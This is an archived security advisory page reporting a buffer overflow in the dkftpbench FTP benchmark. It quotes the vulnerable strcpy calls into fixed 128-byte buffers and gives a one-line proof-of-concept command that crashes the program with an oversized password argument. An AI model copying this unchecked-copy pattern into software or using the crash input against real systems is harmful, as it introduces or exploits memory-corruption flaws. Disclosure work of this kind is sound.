what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

dkftpbench.txt

dkftpbench.txt
Posted Mar 20, 2007
Authored by starcadi

The dkftpbench program is susceptible to a buffer overflow condition.

tags | advisory, overflow
SHA-256 | 024326848bd30cecfcf8df7aca5cb4c247e5d6eb32d0b454101d67d746112986

dkftpbench.txt

Change Mirror Download
Description:

dkftpbench is an FTP benchmark program inspired by SPECweb99. The
result of the benchmark is a number-of-simultaneous-users rating;
after running the benchmark properly, you have a good idea how many
simultaneous dialup clients a server can support. The target bandwidth
per client is set at 28.8 kilobits/second to model dialup users; this
is important for servers on the real Internet, which often serve
thousands of clients on only 10 MBits/sec of bandwidth.
Found buffer overflow in Platoon::init function using strcpy() with no
sizelen control.
source: http://www.kegel.com/dkftpbench/

Source error:

in main():
--
int main(int argc, char **argv)
{
[..]
const char *arg_username = "anonymous";
const char *arg_password = "robouser@";

[..]
} else if (!strncmp(argv[i], "-u", 2)) {
arg_username = &argv[i][2];
} else if (!strncmp(argv[i], "-p", 2)) {
arg_password = &argv[i][2];

[..]
Platoon thePlatoon;
thePlatoon.init(poller, &sked, arg_filename,
arg_clientBandwidth, arg_minClientBandwidth, arg_mtu,
arg_hostname, arg_portnum, arg_username, arg_password,
local_addrs, n_local_addrs);

[..]
}
--

in Platoon.h:
--
/// The user name part of the URL to fetch
char m_username[128];
/// The password part of the URL to fetch
char m_passwd[128];
--

in Platoon.c:
--
void Platoon::init(Poller *poller, Sked *sked, const char *filename,
int maxBytesPerSec, int minBytesPerSec, int bytesPerRead,
const char *servername, int port,
const char *username, const char *passwd,
struct sockaddr_in *local_addrs, int n_local_addrs)
{
[..]
m_port = port;
m_sked = sked;
strcpy(m_passwd, passwd);
strcpy(m_servername, servername);
strcpy(m_username, username);
m_verbosity = 0;
m_local_addrs = local_addrs;
[..]
}
--

Proof of concept:

$ dkftpbench -n1 -hlocalhost -p21 -u test -p`perl -e "print 'A'x135"` -v1
-h127.0.0.1 host name of ftp server
-P21 port number of ftp server
-n1 number of users
-c1 target number of simultaneous connection attempts
-k2 Start next connection when: 1=immediately, 2=after prev connect complete
-t0 length of run (in seconds)
-b3600 desired bandwidth (in bytes per second)
-B2700 min acceptable per-client bandwidth (in bytes per second)
-ufederico user name
-paaaaaa[..]
-fusenet/rec.juggling/juggling.FAQ.Z file to fetch
-m1500 bytes per 'packet'
-v1 verbosity
-sp selector (p=poll, s=select, d=/dev/poll, k=kqueue, r=rtsig, f=sig-per-fd)
-a0 use all local interfaces
Using poll()
Segmentation fault
$

--
.original http://intel.shacknet.nu/
~ starcadi

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close